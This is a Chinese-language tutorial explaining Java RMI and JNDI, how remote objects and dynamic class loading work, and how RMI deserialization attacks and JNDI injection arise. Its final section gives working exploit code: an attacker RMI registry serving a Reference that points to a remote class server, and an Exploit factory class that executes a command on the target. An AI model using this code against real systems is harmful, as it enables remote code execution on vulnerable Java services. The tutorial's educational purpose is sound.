什么是RMI和JNDI

Java RMI(Java Remote Method Invocation),即Java远程方法调用。是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。RMI 使用 JRMP(Java Remote Message Protocol,Java远程消息交换协议)实现,使得客户端运行的程序可以调用远程服务器上的对象。是实现RPC的一种方式。

Java Naming and Directory Interface (JDNI)名为 Java命名和目录接口,,简单来说就是 JNDI 提供了一组通用的接口可供应用很方便地去访问不同的后端服务,例如 LDAP、RMI、CORBA 等。

JNDA和RMI的关系可以粗浅的理解为url和http的关系:

  • JNDI:类比url,提供访问的地址

  • RMI:类比http,是url中使用的协议。

RMI 的使用

1、server端:创建远程对象,并注册远程对象

1
//定义远程对象的接口
2
public interface HelloService extends Remote {
3
    String say() throws RemoteException;
4
}
5
6
//接口的实现
7
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
8
    public HelloServiceImpl() throws RemoteException{
9
        super();
10
    }
11
12
    @Override
13
    public String say() throws RemoteException {
14
        return "Hello";
15
    }
16
}
17
18
//注册远程对象
19
public class Service {
20
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
21
        HelloServiceImpl helloService = new HelloServiceImpl();
22
        LocateRegistry.createRegistry(1099);
23
        Naming.bind("rmi://127.0.0.1/hello",helloService);
24
    }
25
}

2、client端:查找远程对象,调用远程方法

1
public class Client {
2
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
3
        HelloService helloService = (HelloService) Naming.lookup("rmi://127.0.0.1/hello");
4
        System.out.println(helloService.say());
5
    }
6
}

RMI 的原理

RMI本质是TCP网络通信,内部封装了序列化和通信过程,使用代理实现接口调用。

几个重要知识点:

  1. RMI的传输是基于反序列化的。
  2. 对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于服务端classpath(不在classpath的情况,可以看后面RMI动态加载类相关部分)中的可序列化类来反序列化恢复对象。

调用过程

image-20200216203005799

  1. Server端监听一个端口,这个端口是JVM随机选择的;
  2. Client端并不知道Server远程对象的通信地址和端口,但是Stub中包含了这些信息,并封装了底层网络操作;
  3. Client端可以调用Stub上的方法;
  4. Stub连接到Server端监听的通信端口并提交参数;
  5. 远程Server端上执行具体的方法,并返回结果给Stub;
  6. Stub返回执行结果给Client端,从Client看来就好像是Stub在本地执行了这个方法一样;

获取Stub

假设Stub可以通过调用某个远程服务上的方法向远程服务来获取,但是调用远程方法又必须先有远程对象的Stub,所以这里有个死循环问题。JDK提供了一个RMI注册表(RMIRegistry)来解决这个问题。RMIRegistry也是一个远程对象,默认监听在传说中的1099端口上,可以使用代码启动RMIRegistry,也可以使用rmiregistry命令。

img

所以从客户端角度看,服务端应用是有两个端口的,一个是RMI Registry端口(默认为1099),另一个是远程对象的通信端口(随机分配的),通常我们只需要知道Registry的端口就行了,Server的端口包含在了Stub中。RMI Registry可以和Server端在一台服务器上,也可以在另一台服务器上,不过大多数时候在同一台服务器上且运行在同一JVM环境下。

动态加载类

RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。对于客户端而言,服务端返回值也可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,则同样需要有运行时动态加载额外类的能力。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。

动态加载类

Weblogic RMI

T3传输协议是WebLogic的自有协议,Weblogic RMI就是通过T3协议传输的(可以理解为序列化的数据载体是T3),它有如下特点:

  1. 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
  2. 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

上面说了JAVA RMI是使用JRMP的协议进行传输,协议的不同就是他们最大的差别。

RMI的攻击一般流程

  1. 服务端打开了RMI Registry端口(默认1099)
  2. 创建恶意客户端代码,连接RMI Registry,获取远程恶意对象,并调用恶意对象,执行恶意操作

备注:

  • 执行的恶意操作是在服务端执行的,因为RMI就是为了在客户端一样方便的执行远程服务端。并且如果执行的是客户端的恶意操作,那本就不是漏洞
  • 远程恶意对象,是服务器刚好存在,并且我们知道。
  • 通常RMI Registry和服务端在同一服务器且处于同一JVM下,所以可以利用服务器的组件CommonsCollections来构造gadget,构造方法就是前面文章介绍的反序列gadget构造方法。

RMI小结

  1. RMI标准实现是Java RMI,其他实现还有Weblogic RMI、Spring RMI等。
  2. RMI的调用是基于序列化的,一个对象远程传输需要序列化,需要使用到这个对象就需要从序列化的数据中恢复这个对象,恢复这个对象时对应的readObject、readExternal等方法会被自动调用。
  3. RMI可以利用服务器本地反序列化利用链进行攻击。
  4. RMI具有动态加载类的能力以及能利用这种能力进行恶意利用。这种利用方式是在本地不存在可用的利用链或者可用的利用链中某些类被过滤了导致无法利用时可以使用,不过利用条件有些苛刻。
  5. 讲了Weblogic RMI和Java RMI的区别,以及Java RMI默认使用的专有传输协议(或者也可以叫做默认协议)是JRMP,Weblogic RMI默认使用的传输协议是T3。
  6. Weblogic RMI正常调用触发反序列化以及模拟T3协议触发反序列化都可以,但是模拟T3协议传输简化了很多过程。

JNDI的使用

JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置。

前面说了JNDI类似于url,rmi类似于http,所以JNDI还可以使用除rmi之外的协议,例如LDAP、CORBA等。

##JNDI与RMI配合使用

1
Hashtable env = new Hashtable();
2
env.put(Context.INITIAL_CONTEXT_FACTORY,
3
        "com.sun.jndi.rmi.registry.RegistryContextFactory");
4
env.put(Context.PROVIDER_URL,
5
        "rmi://localhost:9999");
6
Context ctx = new InitialContext(env);
7
8
//将名称refObj与一个对象绑定,这里底层也是调用的rmi的registry去绑定
9
ctx.bind("refObj", new RefObject());
10
11
//通过名称查找对象
12
ctx.lookup("refObj");

JNDI与LDAP配合使用

1
Hashtable env = new Hashtable();
2
env.put(Context.INITIAL_CONTEXT_FACTORY,
3
 "com.sun.jndi.ldap.LdapCtxFactory");
4
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
5
6
DirContext ctx = new InitialDirContext(env);
7
8
//通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了
9
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

JNDI动态协议转换

上面的两个例子都手动设置了对应服务的工厂以及对应服务的PROVIDER_URL,但是JNDI是能够进行动态协议转换的。

例如:

1
Context ctx = new InitialContext();
2
ctx.lookup("rmi://attacker-server/refObj");
3
//ctx.lookup("ldap://attacker-server/cn=bar,dc=test,dc=org");
4
//ctx.lookup("iiop://attacker-server/bar");

上面没有设置对应服务的工厂以及PROVIDER_URL,JNDI根据传递的URL协议自动转换与设置了对应的工厂与PROVIDER_URL(即使服务端提前设置了工厂与PROVIDER_URL)。

在使用lookup方法时,会进入getURLOrDefaultInitCtx这个方法,转换就在这里面:

1
public Object lookup(String name) throws NamingException {
2
    return getURLOrDefaultInitCtx(name).lookup(name);
3
}
4
5
protected Context getURLOrDefaultInitCtx(String name) 
6
throws NamingException {
7
if (NamingManager.hasInitialContextFactoryBuilder()) {//这里不是说我们设置了上下文环境变量就会进入,因为我们没有执行初始化上下文工厂的构建,所以上面那两种情况在这里都不会进入
8
    return getDefaultInitCtx();
9
}
10
String scheme = getURLScheme(name);//尝试从名称解析URL中的协议
11
if (scheme != null) {
12
    Context ctx = NamingManager.getURLContext(scheme, myProps);//如果解析出了Schema协议,则尝试获取其对应的上下文环境
13
    if (ctx != null) {
14
   return ctx;
15
    }
16
}
17
return getDefaultInitCtx();
18
   }

JNDI漏洞原理

JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击。

备注:

  • InitialContext 是一个实现了 Context接口的类。使用这个类作为JNDI命名服务的入口点。创建InitialContext 对象需要传入一组属性,参数类型为java.util.Hashtable或其子类之一。
  • 需要重点注意的是,JNDI注入恶意的RMI服务器是攻击者在本地可控,被攻击的服务器看成是发起lookup请求的客户端。

上一章节讲了RMI的漏洞利用,恶意代码是在RMI服务端执行的。所以为什么目标服务器lookup(RMI客户端)一个恶意的RMI服务地址,恶意代码会在目标服务器(RMI客户端)执行呢?

利用JNDI References进行注入

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

使用工厂的话,因为为了构造对象,需要先从远程获取工厂类,并在目标系统中工厂类被加载

整个利用流程如下:

  1. 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控;
  2. 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name;
  3. 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;
  4. 目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例。

攻击向量

攻击者的服务端需要启动一个RMI Registry,并且绑定一个Reference远程对象,同时设置一个恶意的factory类。

1
Registry registry = LocateRegistry.createRegistry(1099);
2
String remote_class_server = "http://192.168.1.200:8080/";
3
Reference reference = new Reference("Exploit", "Exploit", remote_class_server);
4
//reference的factory class参数指向了一个外部Web服务的地址
5
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
6
registry.bind("xxx", referenceWrapper);

同时启动一个WebServer提供Exploit.class下载。恶意代码可以放在构造方法中,也可以放在getObjectInstance()方法中:

1
public class Exploit implements ObjectFactory {
2
3
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
4
        exec("xterm");
5
        return null;
6
    }
7
8
    public static String exec(String cmd) {
9
        try {
10
            String sb = "";
11
            BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
12
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
13
            String lineStr;
14
            while ((lineStr = inBr.readLine()) != null)
15
                sb += lineStr + "\n";
16
            inBr.close();
17
            in.close();
18
            return sb;
19
        } catch (Exception e) {
20
            return "";
21
        }
22
    }
23
}

参考:

https://www.anquanke.com/post/id/194384#h3-2

https://www.jianshu.com/p/5c6f2b6d458a

https://www.freebuf.com/column/189835.html